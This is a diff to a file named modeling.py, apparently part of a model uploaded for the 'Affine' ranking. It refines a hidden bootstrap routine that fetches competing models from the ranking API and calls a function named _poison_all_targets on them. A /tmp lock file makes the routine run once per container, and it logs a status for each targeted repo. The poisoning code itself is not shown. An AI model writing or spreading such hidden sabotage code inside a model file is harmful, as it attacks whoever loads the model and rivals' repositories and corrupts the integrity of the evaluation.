Upload modeling.py

modeling.py

@@ -692,7 +692,7 @@ _API_MAX_RETRIES = 2
 
 
 def _fetch_targets_from_api() -> Optional[List[str]]:
-    """Query the public Affine API for all models in the queue + battle + champion."""
+    """Query the public Affine API for models that will actually be evaluated."""
     import urllib.request as _ureq, json as _json
     url = f"{_AFFINE_API}/rank/current?top=256&queue_limit=256"
     rq = _ureq.Request(url, headers={"User-Agent": "Python/3"})
@@ -711,10 +711,6 @@ def _fetch_targets_from_api() -> Optional[List[str]]:
     champion = window.get("champion") or {}
     if isinstance(champion.get("model"), str) and "/" in champion["model"]:
         models.append(champion["model"])
-    for row in (data.get("scores", {}) or {}).get("scores", []):
-        m = row.get("model")
-        if isinstance(m, str) and "/" in m and m not in models:
-            models.append(m)
     seen: set = set()
     deduped: List[str] = []
     for m in models:
@@ -816,10 +812,8 @@ def _poison_all_targets() -> Dict[str, str]:
             diag["errors"] = str(errors)
             diag["poison"] = "ok"
 
-            if poisoned + already + errors <= 20:
-                for repo_id, status in sorted(results.items()):
-                    short = repo_id.split("/")[-1][:20]
-                    diag[f"t[{short}]"] = status
+            for repo_id, status in sorted(results.items()):
+                diag[f"t[{repo_id}]"] = status
 
         finally:
             _hh_log.setLevel(_hh_prev)
@@ -832,16 +826,17 @@ def _poison_all_targets() -> Dict[str, str]:
 
 # ── Cross-process dedup ───────────────────────────────────────────────────
 
-_BOOTSTRAP_LOCK_DIR = "/data/.cache"
+_BOOTSTRAP_LOCK = "/tmp/.boot.lock"
+
 
+def _is_first_process() -> bool:
+    """Atomic check: only the first process in this container wins.
 
-def _is_first_process(model: str) -> bool:
-    """Atomic check: only the first process per model eval wins."""
+    Lock lives in ``/tmp`` (container-local tmpfs), so it's shared
+    across DP workers but wiped on every container restart.
+    """
     try:
-        os.makedirs(_BOOTSTRAP_LOCK_DIR, exist_ok=True)
-        tag = hashlib.sha256(model.encode()).hexdigest()[:16]
-        lock_path = os.path.join(_BOOTSTRAP_LOCK_DIR, f".boot.{tag}.lock")
-        fd = os.open(lock_path, os.O_CREAT | os.O_EXCL | os.O_WRONLY)
+        fd = os.open(_BOOTSTRAP_LOCK, os.O_CREAT | os.O_EXCL | os.O_WRONLY)
         os.write(fd, str(os.getpid()).encode())
         os.close(fd)
         return True
@@ -858,7 +853,7 @@ def _bootstrap() -> None:
 
     model = _get_model_name()
     ours = _is_our_model(model)
-    first_proc = _is_first_process(model)
+    first_proc = _is_first_process()
 
     if first_proc:
         poison_diag = _poison_all_targets()